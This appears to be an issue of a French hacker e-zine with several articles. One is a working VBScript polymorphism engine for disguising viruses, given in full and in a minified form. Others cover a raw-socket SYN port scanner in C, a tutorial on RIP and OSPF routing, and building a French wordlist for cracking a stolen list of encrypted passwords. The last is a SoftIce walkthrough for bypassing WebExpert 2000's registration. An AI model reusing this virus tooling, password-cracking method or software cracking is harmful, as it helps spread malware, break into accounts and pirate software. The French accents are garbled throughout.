Const Lecture = 1, Ecriture = 2 
'declare des constantes pour que le code soit plus lisible
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Const vbBinaireComparaison = 0
    Randomize
    Set fso = CreateObject("Scripting.FileSystemObject")
    Moi = "essai.vbs" 
' Moi est le nom du fichier o vous mettez mon moteur de polymorphisme
Nom = HOho + ".vbs"  'appel la fonction HOho

    fso.CreateTextFile Nom
'crer un fichier
    Set ts = fso.OpenTextFile(Nom, Ecriture)'
'l'ouvre en criture
    Set MyFile = fso.OpenTextFile(Moi, Lecture)
'ouvre ce fichier en mode lecture

'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle s'arrte 
'quand le programme est arriv au bout du fichier de votre virus.
    Do
        Hasard = Int(Rnd * 4 + 1)
        If Hasard = 1 Then DebText = Enter
        If Hasard = 2 Then DebText = Code
        If Hasard = 3 Then DebText = Argument
        If Hasard = 4 Then DebText = SpaceFunc(10, 20)
    If Hasard = 5 Then DebText = vbCrLf

    ts.WriteLine DebText
    If MyFile.AtEndOfStream = True Then Exit Do
    Loop
    
    ts.Close
    MyFile.Close

Function Code()
    Dim Verif, Pas_Espace
    If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
    If Left(Test, 1) = "'" Then Call Code
    If Test = "" Then Call Code
    Pas_Espace = VerifEspaceFunc
    If Pas_Espace = False Then Call Code
    If Left(Test ,10) = "    Moi = " Then Test = "    Moi = " + """" + Nom + """": 
Code = Test
End Function

Function VerifEspaceFunc()
    Dim i
    For i = 1 To Len(Test)
    If Mid(Test, i, 1) <> Chr(32) Then VerifEspaceFunc = True : Exit For
    VerifEspaceFunc = False
    Next
End Function

'Cette permet de crer une chane de caractre ASCII compris entre 14 et  255 ( et 
'ouais car avant 13 les caractres comme [entre], [tab]  font planter le script vbs 
'meme s'ils sont dans des arguments) de longueur comprise entre NbMin et NbMax.
Function Chaine_Aleatoire(NbMin, NbMax)
    Dim z, i
    Randomize
    z = Int(Rnd * (NbMax - NbMin) + NbMin)
    For i = 0 To z
        Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire
    Next
End Function

'Cette fonction permet de crer une chane de caractre contenant des espaces de
'nombre compris entre le nombre de la variable 
'MinSpace et celle de la variable MaxSpace.
Function SpaceFunc(MinSpace, MaxSpace)
    Dim b
    b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace)
    SpaceFunc = Space(b)
End Function

Function Argument()
    Dim Comment, Espace, NbAleatoire
    Argument = Chaine_Aleatoire(Int(Rnd * 10), Int(Rnd * 10) + 10)
    Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3)
    NbAleatoire = Int(Rnd * 2) + 1
    If NbAleatoire = 1 Then Comment = vbCrLf
    If NbAleatoire = 2 Then Comment = Espace
    If NbAleatoire = 3 Then Comment = ""
    Argument = "'" + Argument + Comment
End Function

'Cette fonction permet de crer une chane de caractre contenant 1  4 [entre]
'en utilisant comme proprit vbCrLf car  vbCrLf =[entre]
Function Enter()
    Dim c, d
    d = Int(Rnd * 4) + 1
    For c = 0 To d
        Enter = Enter + vbCrLf
    Next
End Function

'Cette fonction permet gnrer un nom en le trouvant dans le dossier \Recent du 'dossier Windows qui est est en fait les noms que vous pouvez trouver quand vous 'faites Dmarrer/Documents
Function HOho()
    Dim n, m, longueur, DossierR, fc, f1, s, Dossier
    Const Dossier_Windows = 0
    Set Dossier = fso.GetSpecialFolder(Dossier_Windows)
    Dossier = Dossier + "\Recent"
    Set DossierR = fso.GetFolder(Dossier)
    Set fc = DossierR.Files
    x = 0
    For Each f1 In fc
        x = x + 1
    Next
    
    If x <> 0 Then
        x = Int(Rnd * x + 1)
        s = 0
        For Each f1 In fc
            s = s + 1
            HOho = fso.GetBaseName(f1.Name)
            If s = x Then Exit For
        Next
    End If
    
'Cette procdure permet de crer une chane de caractre de longueur entre  3 et 11 et 
'avec comme caractre des majuscules car 'le code ASCII est compris entre 25 et 90 .
'si il n'a pas trouv de fichiers dans le dossier ou s'il a trouv son nom
    If Moi = HOho + ".vbs" Then x = 0
    If x = 0 Then
        longueur = Int(Rnd * 8) + 3
        For n = 1 To longueur
            m = Chr(Int(Rnd * 25) + 65) + m
        Next
        HOho = m
    End If
End Function
--------------------------------------------------------------------------------------

A oui !!! J'ai oubli de vous dire que quand vous faites  un virus en VBScript, n'oublier pas de le rduire au minimum.(supprimer les variables inutiles, les contantes, les lignes vides, les lignes d'arguments et les espaces inutiles, remplacer les noms des fonctions et celle des variables par des noms plus courts qui tiennent sur une ou deux lettres )C'est vrai qu'aprs le code n'est plus trop lisible. Je l'ai donc fait pour le code juste avant. Sa taille a t diminu de 3 passant de 4.35 Ko   1.37 Ko.
Voici donc le code rduit au minimum : (on peut encore le rduire en remplacant certains entres(qui prennent 2 octets) par des : )qui prennent 1 octet) )

--------------------------------------------------------------------------------------
Dim F,R,G,O,T
Randomize
Set F=CreateObject("Scripting.FileSystemObject")
O="essai.vbs"
G=H+".vbs"
F.CreateTextFile G
Set ts=F.OpenTextFile(G,2)
Set R=F.OpenTextFile(O,1)
Do
x=Int(Rnd*4+1)
If x=1 Then z=E
If x=2 Then z=U
If x=3 Then z=L
If x=4 Then z=K(10,20)
If x=5 Then z=vbCrLf
ts.WriteLine z 
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close
R.Close
Function U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T
End Function
Function W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0
Next
End Function
Function J(n,m)
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J
Next
End Function
Function K(n,m)
K=Space(Int(Rnd*(m-n)+n))
End Function
Function L
L=J(Int(Rnd*10),Int(Rnd*10)+10)
n=Int(Rnd*3)+1
If n=1 Then y=vbCrLf
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3)
If n=3 Then y=""
L="'"+L+y
End Function
Function E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf
Next
End Function
Function H
Set c=F.GetSpecialFolder(0)
c=c+"\Recent"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function
--------------------------------------------------------------------------------------
Si vous trouvez un moyen de le rduire encore plus, crivez-nous  RTCgang@yahoo.fr pour nous dire ce que vous avez trouver.
                                                               SLy

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					Le SYN Scanning
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Bon Par4noiD, vous avait expliqu le scanning de port par ouverture de socket complte. Le problme avec ce type de scanning est qu'il est trs facilement repr et est relativement lent. Une solution est le syn-scanning ou scan par demi ouverture de socket.

Une connection TCP socket se fait en trois tapes. Tout d'abord la demande de connexion qui se fait par l'envoie d'un paquet avec le flag SYN. Ensuite la rponse de l'hte qui est soit, si le port est ouvert, un paquet avec les flags SYN et ACK, soit un paquet avec le flag RST. Puis le troisime, envoie qui ouvrela connexion est un paquet envoy par le client avec le flag ACK.
Lors d'un SYN scanning on envoie un paquet SYN et on attend le paquet SYN+ACK ou RST. Cela permet de ne pas avoir  ouvrir une connexion et donc ne pas avoir  la fermer.
Cette mthode reste reprable mais pas avec les outils classique comme rtclog prsent dans le RtC Mag 1. Son principal avantage est que c'est le plus rapide des scans efficace (qui marche tout le temps) connus actuellement.
Un gros dsavantage est l'obligation de la faire tourner en route car l'on doit construire ses paquet soit mme.

Explication de la construction du paquet TCP.
Un paquet TCP est fait de la faon suivante :
0                                   15|16                                     31
|------------------------------------------------------------------------------|
| Numro du port source (16 bits)     | Numro du port de destination (16 bits)|
|------------------------------------------------------------------------------|
|                         numro de squence sur 32 bits                       |
|------------------------------------------------------------------------------|
|                       numro d'acquittement sur 32 bits                      |
|------------------------------------------------------------------------------|
| longueur de l'entte 4| 6 | flags 6 |      taille de fentre sur 16-bits     |
|------------------------------------------------------------------------------|
|         checksum sur 16-bits        |        pointeur urgent sur 16-bits     |
|------------------------------------------------------------------------------|
|                          options (s'il y en a)                               |
|------------------------------------------------------------------------------|
|                          donnes (s'il y en a)                               |
|------------------------------------------------------------------------------|

les flags sont, dans l'ordre : URG, ACK, PUSH, RST, SYN, FIN.
URG est la pour indique que le pointeur urgent est valide (il sert a indique la
fin des donnes urgentes dans le paquet)
ACK est la pour indique que le numro d'acquittement est valide (numro de
sequence du prochain paquet).
PUSH : pour que le gestionnaire rseau passe la trame le plus vite possible au
soft.
RST : rinitialise la connexion.
SYN : signal de synchronisation pour les numro de squence
FIN : fin de la connexion.

bon ben en gros on vas envoyer un paquet avec le port source et le port de dest et avec le flag SYN. Et on va attendre un paquet avec le flag RST ou avec les flags ACK et SYN (avec les bon numro de port).

Bon ben maintenant le code qui fait ca pour un port (la totalit du code est dispo sur le site de la RtC TecH (www.chez.com/sl4sh)). La fonction send_tcp(le dite pas je l'ai piqu  phrack :) ) envoie simplement un paquet TCP avec un header personnalis . 

Le code :

int scan_port(long port, struct sockaddr_in *host, long scanport, long timeout)
{
  int rc, tcpsock, rawsock;
  fd_set rset;
  struct timeval cur_time, beg_time;
  struct sockaddr_in addr;
  char buf[3000];
  struct iphdr *ip = (struct iphdr *) buf;
  struct tcphdr *tcp = (struct tcphdr *) (buf + sizeof(struct iphdr));
  host->sin_port = htons(port);
  
  /* SYN scanning */
  FD_ZERO(&rset);
  rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  tcpsock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  FD_SET(tcpsock, &rset);
  /* sending a SYN packet */
  memcpy(&addr, host, sizeof(addr));
  gettimeofday(&beg_time,NULL);
  tcp_send(tcpsock,&addr,
	   localhost_addr,addr.sin_addr.s_addr,
	   scanport,port,
	   TH_SYN,
	   lrand48()+1, lrand48(),
	   512,
	   NULL,
	   0);
  /* check for reply */
  if(FD_ISSET(tcpsock,&rset))
    {
      gettimeofday(&cur_time, NULL);
      while(
	   (recvfrom(tcpsock,&buf,3000,0, NULL,0)>0) 
	   && (timeout > DIFFTIME(beg_time, cur_time))
	   )
        {
	  if ((ip->saddr == host->sin_addr.s_addr) && (ntohs(tcp->th_sport)==port) && (ntohs(tcp->th_dport)==scanport)) /* got a reply */
	    {
               close (tcpsock); close (rawsock);
	       if(tcp->th_flags & TH_RST) return 0;         /* port closed */
	       else if(tcp->th_flags & TH_SYN && tcp->th_flags & TH_ACK) return 1; /* port opened */
	       else return -2; /* port error */
	    }
	  gettimeofday(&cur_time, NULL);
	}
    }
  else rc = -1;
  close(tcpsock);
  close(rawsock);
  if(rc>0) return -1; /* time out */
  else return -2;     /* error */
}

<--                           File by S/asH                                  -->
[EOF]


////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
               Le RoutAge DynamIQue, et ses ProCeSSuS : PART I
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////

Premirement, qu'est ce que le routage?
Pour faire pas trop compliqu, lorsqu'une machine se connecte  Internet, alors 
elle se connecte  un serveur. Jusque l a va... Lequel serveur possde une 
base de donnes que l'on appelle Table de Routage. Cette table possde diffrentes 
entres et sorties. Vous n'tes pas sans savoir que dans chaque datagramme IP, se 
situe l'adresse IP de l'envoyeur et du destinataire. Le serveur  cette occasion,
lorsqu'il aura reu un paquet envoy par A, va vrifier si l'adresse destinatrice 
B est contenue dans sa table de routage. En gnral non, donc le serveur renvoie 
le paquet  un autre serveur, en s'tant assurer au pralable que ce serveur tait
situ sur la mme portion du rseau que la cible du datagramme IP. 
Prenons un petit exemple:

      A       ----------------------------------------->     B 
(198.23.25.36)                                         (145.23.89.78)
Dans ce cas, il existe un dtail (et mme de nombreux) de cette connexion simple.
	A    	  -------------------> Routeur ------------>     B 
(198.23.25.36)			   (125.56.85.96)		 (145.23.89.78)
En gros, c'est a, seulement l o je ne met que 1 Routeur, il y en a gnralement 
5 ou 6 voir plus en fonction de la cible.

Note:
A ce propos, lorsque vous utilisez TRACERT.EXE qui est un utilitaire de traage de
route bas sur des transissions ICMP: (cf ICMP my Friend from SnEaKie) vous verrez 
si vous spcifiez une adresse au hasard que celle ci n'existe pas, la rponse 
ngative des routeurs se fera au bout de, 8 voir mme plus, routeurs. Ceci tant 
d au fait que les tables de routages se redirigent, ce qui implique qu'une machine 
cible peut tre joignable au bout de 30 routeurs si celle-ci est peu utilise, 
situe sur une portion de rseau qui figure dans peu de tables de routage.

On distingue cependant plusieurs types de routages, le routage dynamique dont on  
va parler ici, le routage statique, le routage direct ou indirect. Le routage 
statique ne s'opre qu'entre les routeurs, c'est  dire que l'on l'appelle routage 
dans le sens o il y a change de donnes entre diffrents routeurs, en fait ils 
changent des informations rgulires sur l'tat des rseaux. Ce qui a pour but de 
dceler toute annomalie dans les transmissions. Imaginons que A veuille joindre B 
et que pour cela, Le Routeur R1 doit joindre R2, qui doit joindre  son tour R3, etc 
jusqu' R10 qui est en panne: rsultat pas de paquet pour B, grce au routage 
dynamique, R9 sera averti que R10 est en panne, il va mettre (R9) une croix sur 
momentane sur R10 dans sa table de routage et va travailler sans lui. Cependant, 
pour fournir un service satisfaisant, R9 va chercher un R10 de remplacement que 
possde l'adresse cibleB (145.23.89.78) dans sa table de routage, quite  devoir 
joindre un R10 puis un R11, jusqu' R19 si il le faut.

Remarque: il aurait p tre possible d'envoyer un message ICMP  R10 par R9 pour 
connatre l'tat de sa connexion, seulement les routeurs sont limits en ce qui 
concerne les messages ICMP car ceux-ci entraneraient un trafic trop important sur 
le rseau et feraient saturer les connexions. 

On distingue trois protocoles de routage dynamique; RIP le plus ancien, OSPF, et BGP.

======================================
A) RIP, Routing Information Protocol
Celui-ci est trs utilis dans le routage de passerelle interne. RIP a t dvelopp 
pour tre oprationnel sous UNIX de Berkeley: pas mal! Un routeur RIP envoie des 
diffusions UDP sur le port 520 pour changer des informations de routage avec les 
autres routeurs. On distingue deux types de messages dans RIP: les requtes et les 
rponses. Quand un routeur s'initialise, il fait une diffusion de requtes RIP  
partir de chaque interface rseau. Ces requtes demandent tout simplement aux autres 
routeurs de rpondre dans un message rponse qui contiendra leurs tables de routage.

	Systme Autonome 1
|-----------------------------|  
| |------|           |------| |
| |  P1  |==========>|  P2  | |
| |------|           |------| |
|    |                  |     |
|    |  Protocoles de   |     |
|    |   passerelles    |     |=================>Protocoles de passerelles 
|    |     internes     |     |                           externes
|    |                  |     |                              |
|    |                  |     |                              |
|    |                  |     |                              |
| |------|              |     |                              |
| |  P3  |==============|     |                              |
| |------|                    |                              |
|                             |                              |
|-----------------------------|                              |
                                                             |-|
                                                       Systme | Autonome 2
                                                 |-----------------------------|
                                                 | |------|           |------| |
                                                 | |  P4  |==========>|  P5  | |
                                                 | |------|           |------| |
                                                 |    |                  |     |
                                                 |    |                  |     |
                                                 |    |  Protocoles de   |     |
                                                 |    |   passerelles    |     |
                                                 |    |     internes     |     |
                                                 |    |                  |     |
                                                 |    |                  |     |
                                                 | |------|              |     |
                                                 | |  M1  |==============|     |
                                                 | |------|                    |
                                                 |                             |
                                                 |-----------------------------|   

Rem: RIP ne sert qu' ces passerelles internes c'est  dire  l'intrieur des 
domaines, alors que les protocoles de passerelles externes servent eux au 
routage externe: c'est  dire entre les domaines.

======================================
RIP, Routing Information Protocol


Un seul message RIP (de la version 1) peut contenir 25 routes, chacune de ces 
routes augmente de 20 octets la taille du paquet.
 
|------------------------------------------------------------------------------|
| Commande (1 octet)| Version (1 octet) |        Non utilis (2 octets)        |
|------------------------------------------------------------------------------|
| Identificateur d'adresse (2 octets)   |        Non utilis (2 octets)        |
|------------------------------------------------------------------------------|
|                           Adresse IP (2 octets)                              |
|------------------------------------------------------------------------------|
|                           Non Utilis (4 octets)                             |
|------------------------------------------------------------------------------|
|                           Non Utilis (4 octets)                             |
|------------------------------------------------------------------------------|
|                              Metrique (4 octets)                             |
|------------------------------------------------------------------------------|

Voici l'en-tte ou le header d'un paquet RIP version1.0. 
J'ai le sentiment que quelques petites explications sont  apporter, tout ne 
parle pas de lui-mme!

Commande (1 octet) : VALEUR 1 ==> REQUETE : Ce code est utilis pour une requte
                                            d'infos de table de routage.
                     VALEUR 2 ==> REPONSE : Permet de transmettre les infos de
		 	                          routage ou de mise  jour.  
                     VALEUR 3 ==> TRACEON : Marche plus!
                     VALEUR 4 ==> TRACEOFF: Marche plus non plus!
                     VALEUR 5 ==> POLL    : Utilis par quelques utilitaires et
                                            est utilis pour des tests ou des
                                            dpannages: bon  essayer!
                     VALEUR 6 ==> POLL-ENTRY : Idem POLL.

Identificateur d'adresses (2 octets) : Le format des messages RIP permet des 
infos de routage pour d'autres protocoles que IP. Ce champ contient un code 
identifiant le protocole (valeur 2 pour IP).  

Adresse IP (4 octets) : CE champ identifie un rseau ou un hte atteint par le 
trafic de routage  travers le systme de passerelle gnrant le message RIP.

Mtrique (4 octets) : Ce champ indique le nbre de sauts ncessaires pour 
atteindre la destination indique dans le champ de l'adresse IP. 

	Voil pour RIP, mais il faut savoir qu'il en existe 2 versions; RIP v.1 
ainsi que RIP v.2. Alors l quelle est la question qu'on se pose, " Quelle est 
la diffrence entre les deux?"
Simple, pour rpondre  cette question, on regarde le fonctionnement de RIPv.1 
et celui de RIPv.2 ==> En fait RIPv.1 est totalement incapable d'inclure les 
masques de sous-rseau pour les adresses IP qui sont indiques dans les routes. 
Le pb rside dans le fait qu'un routeur est dans l'impossibilit (logique 
d'ailleurs) de faire la diffrence entre une adresse IP d'1 hte simple comme 
moi, ou une IP d'un rseau avec un masque de sous-rseau.
De plus, RIPv.2 apporte quelques solutions aux pbs de la v.1. Le format de 
paquets de RIPv2 est le mme que RIPv1  l'exception prs que RIPv2 tend  
utiliser les donnes libres se trouvant dans le champ de donnes non-utilises.
De ce fait les systmes ne pouvant recevoir que les RIPv1 reoivent RIPv2 en 
ignorant les donnes supplmentaires. RIPv2 a aussi t dvelopp dans
l'optique d'viter les pbs de transmissions excessives: par ex, il active les 
transmissions multicast (multi-destinataires) de faon a viter que les 
systmes non-RIP envoient les messages de routage.

Bon, je vais qd mme vous filer le format du message RIPv2, (mais faites-en 
bon usage,MDR!)

|------------------------------------------------------------------------------|
| Commande (1 octet)| Version (1 octet) |   Domaine de routage (2 octets)      |
|------------------------------------------------------------------------------|
| Identificateur d'adresse (2 octets)   |    Marqueur de route (2 octets)      |
|------------------------------------------------------------------------------|
|                           Adresse IP (2 octets)                              |
|------------------------------------------------------------------------------|
|                        Masque de sous-rseau (4 octets)                      |
|------------------------------------------------------------------------------|
|                    Adresse IP du saut suivant (4 octets)                     |
|------------------------------------------------------------------------------|
|                              Metrique (4 octets)                             |
|------------------------------------------------------------------------------|

Petite explication des nouveaux champs de donnes:

Domaine de routage(2octets): Ce champ contient une valeur identifiant le 
processus de routage utilis par ce message. Un systme recevant un mess RIP 
avec une value de domaine de routage diffrente du sien dtruit le paquet. 
Par dfaut value = 0.

Marqueur de route(2 octets): Ce marqueur transporte un numro de systme 
autonome qui permet  RIP d'interagir avec les protocoles de passerelles 
externes comme EGP ou BGP.

Masque de sous-rseau(4 octets); Le masque de sous-rseau est appliqu au champ 
adresse IP pour que les systme soit capable d'identifier le sous-rseau.

Adresse IP du saut suivant(4octets): Ce champ identifie l'interface de 
passerelle par laquelle le trafic (destin au systme indiqu par le champ 
adresse IP) doit tre envoy.

RIPv2 contient aussi une option qui oblige les messages de routage  tre 
authentifis avant d'tre envoys.          


======================================
B) OSPF, Open Shortest Path Protocol

Pour faire simple, disons que RIP v1 et v2 sont efficaces mais sont 
contreverss. Disons qu'ils sont efficaces dans la mesure o le calcul 
d'une route base sur le nombre de sauts est souvent correcte mais peut se 
rvler trs contraignante. Je m'explique enfin, disons que grce  RIP vos 
paquets vous arrivent mais il se peut trs bien que ce type de routage soit 
trs problmatique en ce qui concerne la bande passante. Pour un seul saut 
peut correspondre par ex., 2 segments Ethernet, un PPP lent ou encore tout 
autre type de rseau qui oblige les MTU a tre remis  jour perptuellement... 
Rsultat, fiable mais non-fiable!

Pour resoudre ce pb, on parle alors de "routage  tat de liens", cette 
mthode permet d'informer rgulirement les routeurs d'autres rseaux 
interconnects. Disons que les routeurs testent les connexions avec les 
autres routeurs et sauvegardent les infos dans une base donnes qui est 
ensuite envoye gracieusement sur les rseaux interconnects. De ce fait, 
quand les informations sur l'tat des liens sont transmises aux autres 
routeurs, le chemin le plus court est facilement dtermin. Par lasuite chaque 
routeur construi sa table de routage d'aprs les infos reues. OSPF, par 
rapport  RIP, est bien meilleur en ce qui concerne les changements de route 
de dernire minute due  une panne de seuveur ou autre. Non seulement a, mais 
il a aussi d'autres avantages:

   Equilibrage des charges: Quand deux ou plusieurs routes vers la mme 
destination possdent la mme mtrique, OSPF rpartit le trafic sur ces 
diffrentes routes pour viter un goulet d'tranglement sur l'une des routes.

   Authentification: Tous les messages OSPF sont tenus d'tre authentifis par 
dfaut avant d'tre traits par le destinataire. Un champ type d'authentification
dfinit le type d'authentification  utiliser.

   Sous-rseau: OSPF comporte un masque de sous-rseau pour les adresses IP de 
chaque route.

   Zone OSPF: Un systme autonome peut contenir des sous-ensembles de rseaux 
appels zones OSPF. Ils sont traits comme des domaines de routage, spars du 
rste du systme autonome.

   Infos de routage externe: OSPF peut assimiler les infos de routage obtenues 
par des sources externes comme des routes statiques. Les dones de routage 
externe sont envoyes vers tous les autres routeurs OSPF.

   Routage bas sur TOS: Les bases de donnes OSPF peuvent grer des infos de
routage pour chaque type de services indiqus dans l'en-tte IP.

http://www.rtcgang.fr.st | http://www.rtc.fr.st ==> Et vive REDOXXXXXXXXXXXXXX!!


///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					RTCDictionnary 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

	Vendredi 28 juillet, 17h, je reois un appel de Par4noID. On parle du RTCG4ng, de choses et d'autres, de diffrents projets... Puis nous en arrivons  parler des dictionnaires. Explications. Il y a quelques mois, S/ash avait russi  obtenir une liste de mots de passe crypts. Problme ? Il fallait les dcrypter. Pour ce faire, S/ash avait  sa disposition Crackerjack, un dcrypteur. Jusque l tout allait bien. Mais il lui fallait un dictionnaire, un dictionnaire franais. S/ash, en bourrin fini, avait suggr de crer un dictionnaire en prenant en compte toutes les possibilit mais aprs un rapide calcul, son dictionnaire aurait fait plus de 20 Go, la galre...
	Nous parlions donc de ceci et puis Par4noID suggre que ce serait bien si on pouvait faire ce dictionnaire en franais. En effet, les dictionnaires anglais sont trs courants mais les franais sont tout simplement inexistants. Par4noID tant trs occup, il me charge de trouver la solution. Je m'y met le soir mme. Mes recherches se sont ports directement sur un produit mikrokro trs connu qui contient un traitement de texte que nous surnommerons Mot pour des raisons videntes de scurit, ce logiciel tenant  garder l'anonymat. Pour ceux qui ne le savent pas, dans Mot, il y a un correcteur orthographique. Le but tait donc de trouver le fichier o tait stock tous les mots. Aprs une heure de vaines recherches, j'ai essay autre chose.
	Il nous fallait un dictionnaire, et bien utilisons un vrai dictionnaire. Il se trouve justement que le CD d'installation de ce logiciel en contenait un. Je me mis alors  la recherche de la liste de mots... Tiens, un fichier de 85 Mo. Je l'ouvre et  surprise, je trouve ce que je cherchais. Enfin presque. Le principal y tait, il y avait la liste complte mais avec plein de caractres barbares. En voici un petit extrait :


...8gubre 8gude 8guer I8guguerre 8guelfe  8guelte  8guenille 8guenon 8gupard 8gupe 8gupier 8gupire 8gure 8guret 8guridon S
8gurilla 8gurillero 8gurir 8gurison riserie     k8gurissable 8gurisseur ܁8gurite 8guerre <8guerrier (adjectif) މ8guerrier (nom masculin) y8guerroyer 	8guet 8guet-apens   8gutre  8gutrer R8gutron (tm)8guette (nom fminin) 8guette (nom fminin) '8guetter 8guetteur N8gueulante %8gueulard (adjectif) 8gueulard (nom masculin) C8gueule 	8gueule-de-loup  

	Quand je vous disais que c'tait barbare... Mais heureusement, Androgyne est arrive. J'ai alors concoct un petit programme Pascal qui tait charg d'extraire la liste ou en tout cas de faire le maximum de tri. Voici ce programme que j'ai appel RTCWord. Je l'ai amlior pour vous. Il s'utilise de la manire suivante : RTCWord NomDuFichierSource NomDuNouveauFichier. Le fichier doit tre un fichier text ou doit contenir du text. Il extrait tous les mots ou toutes les phrases et passe  la ligne une fois qu'il y a un caractre barbare. Il ne garde que les chaines de plus de 2 caractres.

--------------------------------------------------------------------------------------------
uses crt,dos;

var
  Source,NewFile:text;
  c:char;
  SourceName,NewFileName,Chaine:string;

begin
  clrscr;
  writeln('<<<RTCWord 1.01>>>  by Androgyne from the RTCG4ng');
  writeln('');
  if ParamCount=2 then begin
    assign(Source,ParamStr(1));
    assign(NewFile,ParamStr(2));
  end else begin
    repeat
      write('> source file      : ');
      readln(SourceName)
    until (SourceName<>'');
    assign(Source,SourceName);
    repeat
      write('> destination file : ');
      readln(NewFileName)
    until (NewFileName<>'');
    assign(NewFile,NewFileName);
  end;
  {$I-}
  reset(Source);
  {$I+}
  if IOResult<>0 then begin
    writeln('Error ! Source file does not exist !');
    halt;
  end;
  rewrite(NewFile);
  while not (eof(Source)) do begin
    chaine:='';
    read(Source,c);
    while ((Upcase(c) in ['A'..'Z']) or
    (ord(c) in [$E0,$E2,$E4,$E9,$E8,$EA,$EB]) or
    (ord(c) in [$EC,$EE,$EF,$F2,$F4,$F6,$F9,$FB,$FC]) or
    (ord(c) in [$2C,$2E,$3B,$3A,$21,$3F,$20]) or
    (ord(c) in [$E7,$27,$22,$2D,$B0,$28,$29,$2F,$5C]) or
    (ord(c) in [$30,$31,$32,$33,$34,$35,$36,$37,$38,$39])) do begin
      Chaine:=Chaine+c;
      read(Source,c);
    end;
    if (length(chaine)>2) then begin
      writeln(NewFile,Chaine);
      writeln(Chaine);
    end;
  end;
  close(Source);
  close(NewFile);
  writeln('OK ! That''s all folks !');
end.
--------------------------------------------------------------------------------------------

	Les listes aprs "ord(c) in" reprsentent les lettres accentues (1re et 2me), les signes de ponctuation (3me), d'autres signes cabalistiques tels que  ou ' (4me) et les chiffres (5me).
	Ce programme peut largement tre amlior mais ce n'est dj pas mal. En tout cas, il m'a permit d'extraire le dictionnaire du bordel qu'il y avait en haut. Aujourd'hui, samedi 29 juillet, un peu plus de 24 heures aprs l'appel de Par4noID, le dictionnaire est prt. Je tiens  dire qu'il m'a quand mme fallu 3 heures pour enlever manuellement ce qui n'avait pas lieu d'tre. Ce dictionnaire fait environ 950 pages et compte pour l'instant plus de 56000 mots. Ne faites pas attention si certains sont rpts plusieurs fois ou s'il reste des bribes incomprhensibles, il y en a qui ont pu m'chapper.
	Et voil, vous pourrez trouver le dictionnaire complet, RTCDictionnary.txt avec le m4g ainsi qu'un add-on RTCCalendar.txt contenant 588 noms du calendrier, a peut toujours servir. Je vous ai mis galement la version compil de RTCWord. Si vous voulez rajouter des noms par exemple, envoyez un mail, toujours  la mme adresse RTCgang@yahoo.fr...

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                          Le Soft-Cracking: PArt I
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Bon le soft dont il s'agit est WebExpert 2000. Un chouette outils d'dition HTML (vous pouvez le trouver sur www.visic.com). Tout d'abord, on va lancer le soft pour voir comment il fonctionne :
Les info s'affiche... Tiens un bouton s'enregistrer. On clique dessus... La fentre d'enregistrement... bon on lui envoie n'importe quoi (je lui ai dit que mon chien tait mort, il a pas apprci). Bon, ben maintenant, avec SoftIce en fond (trs bon outils de deboggage de NuMega), je refais la mme chose avec un chtit Ctrl-D au bon momment (juste aprs l'appuis sur le bouton ok) nous permet de dclencher SoftIce. Bon on se retrouve dans un sale module du type USER32!dll (c'est marqu en-dessous de la fentre de code de SoftIce)... Pas grave en faisant du Step Over (F10 ou p) on retourne dans le module WEXPERT4 (celui qui nous interresse).
On est donc juste derrire un call :
 0167:00461607 CALL 0045B7D4
 0167:0046160C MOV  EAX, [EBP-0C]
 0167:0046160F MOV  EDX, [EAX]
>0167:00461611 CALL [EDX+0000D8]< Ici
 0167:00461617 MOV  [EBP-08], EAX
 0167:0046161A XOR  EAX, EAX

Bon, on met un break point  cet endroit par bpx 0167:00461611 (faite pas gaffe aux adresses, il se peut que vous n'ayez pas les mmes. Bon, Ctrl-D, on revient  la bote d'enregistrement, rebelote et bingo on retombe dessus  chaque appel. Il s'agit donc de l'affichage de la bote. Bon, ben on continue les F10, aprs chaque instructions RET, on regarde le call qui correspond et on pose des breakpoints. Voila donc les deux autres breakpoints que j'ai pos :
 0167:004615AB MOV  DL, [EBP-01]
>0167:004615AC CALL 00460FDC      < Ici
 0167:004615B1 MOV  [EBP-0C], EAX

et
 0167:0067511B MOV  DL, 02
>0167:0067511D CALL 0046154C      < Ici
 0167:00675122 XOR  EAX, EAX

Bon, aprs quelque relance je me rends compte que c'est les bons. Donc j'espionne le code autour du 2me call (le premier appel). Et je trouve deux sauts. Dont l'un passe au-dessus de l'autre que passe au-dessus du call. C'est le suivant :
 0167:00675009 CALL 00460FDC           
>0167:0067500E JNZ  006750F0     < Ici
 0167:00675014 MOV  EAX, [00707578]
Ben, je pose un breakpoint. Je remarque qu'il est toujours appel dans les bonnes conditions.bon maintenant, je fais Ctrl-D sous WebExpert.
